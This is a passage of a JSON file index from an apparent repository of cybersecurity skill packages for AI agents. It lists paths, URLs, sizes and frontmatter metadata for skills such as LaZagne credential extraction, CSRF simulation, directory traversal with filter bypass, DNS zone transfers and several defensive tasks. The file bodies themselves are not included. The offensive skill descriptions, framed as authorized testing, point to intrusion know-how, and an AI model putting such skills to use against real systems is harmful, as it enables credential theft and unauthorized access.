-->","isInternal":false,"tokens":203,"sizeBytes":887},{"name":"api-reference.md","path":"skills/performing-credential-access-with-lazagne/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-credential-access-with-lazagne/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1389,"sizeBytes":5432},{"name":"standards.md","path":"skills/performing-credential-access-with-lazagne/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-credential-access-with-lazagne/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":262,"sizeBytes":1042},{"name":"workflows.md","path":"skills/performing-credential-access-with-lazagne/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-credential-access-with-lazagne/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":367,"sizeBytes":1696},{"name":"SKILL.md","path":"skills/performing-credential-access-with-lazagne/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-credential-access-with-lazagne/SKILL.md","title":"performing-credential-access-with-lazagne","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2FSKILL.md -->","frontmatter":{"name":"performing-credential-access-with-lazagne","description":"Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","credential-access","lazagne","post-exploitation","password-recovery","credential-dumping","lateral-movement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1021"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","positioning","initial-access"],"techniques":[{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"T1555.003","name":"Credentials from Password Stores: Credentials from Web Browsers","tactic":"reconnaissance","source":"attack"},{"id":"T1555.005","name":"Credentials from Password Stores: Password Managers","tactic":"reconnaissance","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":2081,"sizeBytes":8813},{"name":"template.md","path":"skills/performing-cryptographic-audit-of-application/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cryptographic-audit-of-application/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":537,"sizeBytes":1802},{"name":"api-reference.md","path":"skills/performing-cryptographic-audit-of-application/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cryptographic-audit-of-application/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1595,"sizeBytes":6733},{"name":"standards.md","path":"skills/performing-cryptographic-audit-of-application/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cryptographic-audit-of-application/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":385,"sizeBytes":1477},{"name":"workflows.md","path":"skills/performing-cryptographic-audit-of-application/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cryptographic-audit-of-application/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":369,"sizeBytes":1443},{"name":"SKILL.md","path":"skills/performing-cryptographic-audit-of-application/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cryptographic-audit-of-application/SKILL.md","title":"performing-cryptographic-audit-of-application","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2FSKILL.md -->","frontmatter":{"name":"performing-cryptographic-audit-of-application","description":"A cryptographic audit systematically reviews an application's use of cryptographic primitives, protocols, and key management to identify vulnerabilities such as weak algorithms, insecure modes, hardco","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","audit","security-review","compliance","vulnerability-assessment"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","positioning"],"techniques":[{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"positioning","source":"attack"},{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":854,"sizeBytes":3740},{"name":"api-reference.md","path":"skills/performing-csrf-attack-simulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-csrf-attack-simulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-csrf-attack-simulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":565,"sizeBytes":2311},{"name":"SKILL.md","path":"skills/performing-csrf-attack-simulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-csrf-attack-simulation/SKILL.md","title":"performing-csrf-attack-simulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-csrf-attack-simulation%2FSKILL.md -->","frontmatter":{"name":"performing-csrf-attack-simulation","description":"Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","csrf","owasp","web-security","session-management","burpsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3055,"sizeBytes":12521},{"name":"template.md","path":"skills/performing-cve-prioritization-with-kev-catalog/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cve-prioritization-with-kev-catalog/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":393,"sizeBytes":1215},{"name":"api-reference.md","path":"skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1362,"sizeBytes":5373},{"name":"standards.md","path":"skills/performing-cve-prioritization-with-kev-catalog/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cve-prioritization-with-kev-catalog/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":347,"sizeBytes":1188},{"name":"workflows.md","path":"skills/performing-cve-prioritization-with-kev-catalog/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cve-prioritization-with-kev-catalog/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":559,"sizeBytes":2865},{"name":"SKILL.md","path":"skills/performing-cve-prioritization-with-kev-catalog/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cve-prioritization-with-kev-catalog/SKILL.md","title":"performing-cve-prioritization-with-kev-catalog","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2FSKILL.md -->","frontmatter":{"name":"performing-cve-prioritization-with-kev-catalog","description":"Fetch and parse the CISA Known Exploited Vulnerabilities (KEV) catalog, enrich it with EPSS scores and CVSS metrics, and build a multi-factor prioritization engine and report that ranks CVE remediation by real-world exploitation evidence and BOD 22-01 deadlines. Use when triaging a vulnerability backlog, deciding patch order across many CVEs, or building an automated KEV+EPSS prioritization workflow.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["cisa-kev","cve","vulnerability-prioritization","epss","bod-22-01","threat-intelligence","remediation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2754,"sizeBytes":10286},{"name":"template.md","path":"skills/performing-dark-web-monitoring-for-threats/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dark-web-monitoring-for-threats/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":206,"sizeBytes":861},{"name":"api-reference.md","path":"skills/performing-dark-web-monitoring-for-threats/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dark-web-monitoring-for-threats/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1375,"sizeBytes":5886},{"name":"standards.md","path":"skills/performing-dark-web-monitoring-for-threats/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dark-web-monitoring-for-threats/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":352,"sizeBytes":1608},{"name":"workflows.md","path":"skills/performing-dark-web-monitoring-for-threats/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dark-web-monitoring-for-threats/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":199,"sizeBytes":1566},{"name":"SKILL.md","path":"skills/performing-dark-web-monitoring-for-threats/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dark-web-monitoring-for-threats/SKILL.md","title":"performing-dark-web-monitoring-for-threats","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2FSKILL.md -->","frontmatter":{"name":"performing-dark-web-monitoring-for-threats","description":"Dark web monitoring involves systematically scanning Tor hidden services, underground forums, paste sites, and dark web marketplaces to identify threats targeting an organization, including leaked cre","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","dark-web","tor","threat-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":2107,"sizeBytes":9868},{"name":"api-reference.md","path":"skills/performing-deception-technology-deployment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-deception-technology-deployment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-deception-technology-deployment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":540,"sizeBytes":2160},{"name":"SKILL.md","path":"skills/performing-deception-technology-deployment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-deception-technology-deployment/SKILL.md","title":"performing-deception-technology-deployment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-deception-technology-deployment%2FSKILL.md -->","frontmatter":{"name":"performing-deception-technology-deployment","description":"Deploys deception technology including honeypots, honeytokens, and decoy systems to detect attackers who have bypassed perimeter defenses, providing high-fidelity alerts with near-zero false positive rates. Use when SOC teams need early warning of lateral movement, credential abuse, or internal reconnaissance by deploying convincing traps across the network.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","deception","honeypot","honeytoken","canary","lateral-movement","detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T1021"]},"isInternal":false,"tokens":2704,"sizeBytes":11335},{"name":"api-reference.md","path":"skills/performing-directory-traversal-testing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-directory-traversal-testing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-directory-traversal-testing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":562,"sizeBytes":2138},{"name":"SKILL.md","path":"skills/performing-directory-traversal-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-directory-traversal-testing/SKILL.md","title":"performing-directory-traversal-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-directory-traversal-testing%2FSKILL.md -->","frontmatter":{"name":"performing-directory-traversal-testing","description":"Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that accept file names or file paths as parameters.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","directory-traversal","path-traversal","lfi","owasp","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3038,"sizeBytes":11484},{"name":"api-reference.md","path":"skills/performing-disk-forensics-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-disk-forensics-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-disk-forensics-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":594,"sizeBytes":2136},{"name":"SKILL.md","path":"skills/performing-disk-forensics-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-disk-forensics-investigation/SKILL.md","title":"performing-disk-forensics-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-disk-forensics-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-disk-forensics-investigation","description":"Conduct disk forensics investigations using forensic imaging, file system analysis, and timeline reconstruction, with tools such as FTK Imager, Autopsy, and The Sleuth Kit, for evidence acquisition, deleted file recovery, and artifact examination. Use when a security incident requires forensic analysis of persistent storage or when evidence must be preserved for legal or HR proceedings.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["disk-forensics","forensic-imaging","evidence-acquisition","file-recovery","chain-of-custody"],"mitre_attack":["T1486","T1490","T1070","T1078","T1005"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2650,"sizeBytes":10780},{"name":"template.md","path":"skills/performing-dmarc-policy-enforcement-rollout/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dmarc-policy-enforcement-rollout/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":474,"sizeBytes":1577},{"name":"api-reference.md","path":"skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":241,"sizeBytes":907},{"name":"standards.md","path":"skills/performing-dmarc-policy-enforcement-rollout/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dmarc-policy-enforcement-rollout/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":465,"sizeBytes":1708},{"name":"workflows.md","path":"skills/performing-dmarc-policy-enforcement-rollout/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dmarc-policy-enforcement-rollout/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":780,"sizeBytes":2772},{"name":"SKILL.md","path":"skills/performing-dmarc-policy-enforcement-rollout/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dmarc-policy-enforcement-rollout/SKILL.md","title":"performing-dmarc-policy-enforcement-rollout","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2FSKILL.md -->","frontmatter":{"name":"performing-dmarc-policy-enforcement-rollout","description":"Execute a phased DMARC rollout by inventorying sending sources, configuring SPF/DKIM alignment, and progressing DNS policy from p=none monitoring through p=quarantine to p=reject enforcement, ensuring all legitimate email sources authenticate before unauthorized senders are blocked. Use when deploying or advancing an organization's DMARC anti-spoofing posture, or when meeting bulk-sender authentication requirements from Google and Yahoo.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["dmarc","spf","dkim","email-authentication","anti-spoofing","phishing","dns","email-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036"]},"isInternal":false,"tokens":1553,"sizeBytes":6239},{"name":"api-reference.md","path":"skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-enumeration-and-zone-transfer%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":527,"sizeBytes":2198},{"name":"SKILL.md","path":"skills/performing-dns-enumeration-and-zone-transfer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dns-enumeration-and-zone-transfer/SKILL.md","title":"performing-dns-enumeration-and-zone-transfer","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-enumeration-and-zone-transfer%2FSKILL.md -->","frontmatter":{"name":"performing-dns-enumeration-and-zone-transfer","description":"Enumerates DNS records, attempts zone transfers, brute-forces subdomains, and maps DNS infrastructure during authorized reconnaissance to identify attack surface, misconfigurations, and information disclosure in target domains.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","dns","enumeration","zone-transfer","reconnaissance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1595"]},"isInternal":false,"tokens":2650,"sizeBytes":10765},{"name":"api-reference.md","path":"skills/performing-dns-tunneling-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dns-tunneling-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-tunneling-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":467,"sizeBytes":1596},{"name":"SKILL.md","path":"skills/performing-dns-tunneling-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dns-tunneling-detection/SKILL.md","title":"performing-dns-tunneling-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-tunneling-detection%2FSKILL.md -->","frontmatter":{"name":"performing-dns-tunneling-detection","description":"Detects DNS tunneling by computing Shannon entropy of DNS query names, analyzing query length distributions, inspecting TXT record payloads, and identifying high subdomain cardinality. Uses scapy for packet capture analysis and statistical methods to distinguish legitimate DNS from covert channels. Use when hunting for data exfiltration.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["dns-tunneling","exfiltration-detection","shannon-entropy","dns-analysis","threat-detection","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1048","T1041"]},"isInternal":false,"tokens":630,"sizeBytes":2543},{"name":"template.md","path":"skills/performing-docker-bench-security-assessment/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-docker-bench-security-assessment/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":107,"sizeBytes":431},{"name":"api-reference.md","path":"skills/performing-docker-bench-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-docker-bench-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":262,"sizeBytes":1148},{"name":"standards.md","path":"skills/performing-docker-bench-security-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-docker-bench-security-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":171,"sizeBytes":736},{"name":"workflows.md","path":"skills/performing-docker-bench-security-assessment/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-docker-bench-security-assessment/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":113,"sizeBytes":724},{"name":"SKILL.md","path":"skills/performing-docker-bench-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-docker-bench-security-assessment/SKILL.md","title":"performing-docker-bench-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-docker-bench-security-assessment","description":"Runs Docker Bench for Security, the open-source CIS Docker Benchmark audit script, across host configuration, daemon settings, images, and runtime configuration, then interprets pass/fail/warn output and remediates the common failures. Use when auditing Docker hosts for CIS compliance, scheduling recurring container assessments, or validating runtime hardening controls after a change. Keywords: docker-bench-security, CIS Docker Benchmark, audit script, pass fail warn, host configuration, remediation. Do not use for applying the daemon hardening itself - use 